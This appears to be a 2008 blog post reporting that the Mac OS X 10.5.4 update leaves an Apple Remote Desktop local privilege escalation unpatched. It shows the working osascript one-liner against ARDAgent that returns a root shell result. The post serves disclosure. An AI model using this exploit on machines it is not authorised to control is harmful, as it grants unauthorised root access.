Monday, June 30, 2008

Mac OS X 10.5.4 released -- but Apple Remote Desktop exploit still there

Mac OS X 10.5.4 was just released.. this is a relatively small release compared to the previous ones.

The release includes security fixes too. But, the local privilege escalation exploit affecting Apple Remote Desktop that we blogged about is still there:


$ uname -a
Darwin mymac.local 9.4.0 Darwin Kernel Version 9.4.0: Mon Jun 9 19:30:53 PDT 2008; root:xnu-1228.5.20~1/RELEASE_I386 i386 i386
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
root

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